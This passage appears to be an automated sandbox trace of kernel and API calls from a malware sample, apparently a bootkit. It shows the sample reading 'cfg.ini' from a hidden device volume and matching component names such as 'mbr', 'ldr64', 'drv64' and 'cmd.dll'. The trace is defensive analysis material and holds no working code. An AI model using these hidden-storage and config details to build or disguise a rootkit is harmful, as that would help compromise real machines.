FastMutex=0xfffffa80027d3898) [0123.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.018] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.018] IdePortDispatch () returned 0x103 [0123.018] KeWaitForMutexObject () returned 0x0 [0123.018] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.018] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.018] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.018] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.018] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.018] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.018] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.018] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.018] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.018] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.018] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.018] KeLeaveCriticalRegion () [0123.018] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.018] ReleaseMutex (hMutex=0x100) returned 1 [0123.018] Sleep (dwMilliseconds=0x2bf20) [0123.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c85b310, dwHighDateTime=0x1d24fa4)) [0123.025] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.025] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.025] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.025] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.025] KeEnterCriticalRegion () [0123.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.025] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.025] IdePortDispatch () returned 0x103 [0123.025] KeWaitForMutexObject () returned 0x0 [0123.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.025] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.025] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.025] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.025] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.025] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbeaf0 [0123.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.025] KeLeaveCriticalRegion () [0123.025] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.025] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.025] KeEnterCriticalRegion () [0123.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.025] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.025] KeLeaveCriticalRegion () [0123.025] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.025] KeEnterCriticalRegion () [0123.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.025] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.025] IdePortDispatch () returned 0x103 [0123.025] KeWaitForMutexObject () returned 0x0 [0123.026] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.026] KeLeaveCriticalRegion () [0123.026] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.026] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.026] KeEnterCriticalRegion () [0123.026] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.026] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d97000 [0123.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.026] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.026] IdePortDispatch () returned 0x103 [0123.026] KeWaitForMutexObject () returned 0x0 [0123.026] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.026] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.026] IdePortDispatch () returned 0x103 [0123.027] KeWaitForMutexObject () returned 0x0 [0123.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.027] KeLeaveCriticalRegion () [0123.027] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.027] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.027] KeEnterCriticalRegion () [0123.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.027] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.027] KeLeaveCriticalRegion () [0123.027] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.028] KeEnterCriticalRegion () [0123.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.028] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.028] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.028] KeLeaveCriticalRegion () [0123.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.028] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.028] KeEnterCriticalRegion () [0123.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.028] ExFreePoolWithTag (P=0xfffffa8003bbeaf0, Tag=0x0) [0123.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.028] KeLeaveCriticalRegion () [0123.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.028] ReleaseMutex (hMutex=0xf0) returned 1 [0123.028] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.028] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.028] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.028] KeEnterCriticalRegion () [0123.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.028] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.028] IdePortDispatch () returned 0x103 [0123.028] KeWaitForMutexObject () returned 0x0 [0123.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.028] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.028] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.028] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.028] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.028] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003825a40 [0123.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.028] KeLeaveCriticalRegion () [0123.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.028] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.028] KeEnterCriticalRegion () [0123.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.029] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.029] KeLeaveCriticalRegion () [0123.029] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.029] KeEnterCriticalRegion () [0123.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.029] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.029] IdePortDispatch () returned 0x103 [0123.029] KeWaitForMutexObject () returned 0x0 [0123.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.029] KeLeaveCriticalRegion () [0123.029] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.029] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.029] KeEnterCriticalRegion () [0123.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d98000 [0123.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.029] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.029] IdePortDispatch () returned 0x103 [0123.029] KeWaitForMutexObject () returned 0x0 [0123.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.030] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.030] IdePortDispatch () returned 0x103 [0123.030] KeWaitForMutexObject () returned 0x0 [0123.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.030] KeLeaveCriticalRegion () [0123.030] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.030] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.030] KeEnterCriticalRegion () [0123.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.030] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.030] KeLeaveCriticalRegion () [0123.030] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.030] KeEnterCriticalRegion () [0123.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.030] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.030] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.030] KeLeaveCriticalRegion () [0123.030] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.030] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.031] KeEnterCriticalRegion () [0123.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.031] ExFreePoolWithTag (P=0xfffffa8003825a40, Tag=0x0) [0123.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.031] KeLeaveCriticalRegion () [0123.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.031] ReleaseMutex (hMutex=0xf0) returned 1 [0123.031] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.031] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.031] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.031] KeEnterCriticalRegion () [0123.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.031] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.031] IdePortDispatch () returned 0x103 [0123.031] KeWaitForMutexObject () returned 0x0 [0123.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.031] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.031] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.031] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.031] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.031] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbed10 [0123.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.031] KeLeaveCriticalRegion () [0123.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.031] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.031] KeEnterCriticalRegion () [0123.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.031] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.031] KeLeaveCriticalRegion () [0123.031] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.031] KeEnterCriticalRegion () [0123.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.032] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.032] IdePortDispatch () returned 0x103 [0123.032] KeWaitForMutexObject () returned 0x0 [0123.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.032] KeLeaveCriticalRegion () [0123.032] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.032] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.032] KeEnterCriticalRegion () [0123.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.032] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d99000 [0123.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.032] IdePortDispatch () returned 0x103 [0123.032] KeWaitForMutexObject () returned 0x0 [0123.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.032] IdePortDispatch () returned 0x103 [0123.032] KeWaitForMutexObject () returned 0x0 [0123.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.033] KeLeaveCriticalRegion () [0123.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.033] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.033] KeEnterCriticalRegion () [0123.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.033] KeLeaveCriticalRegion () [0123.033] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.033] KeEnterCriticalRegion () [0123.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.033] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.033] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.033] KeLeaveCriticalRegion () [0123.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.033] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.033] KeEnterCriticalRegion () [0123.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.033] ExFreePoolWithTag (P=0xfffffa8003bbed10, Tag=0x0) [0123.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.033] KeLeaveCriticalRegion () [0123.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.033] ReleaseMutex (hMutex=0xf0) returned 1 [0123.033] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.034] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.034] CreateFileA 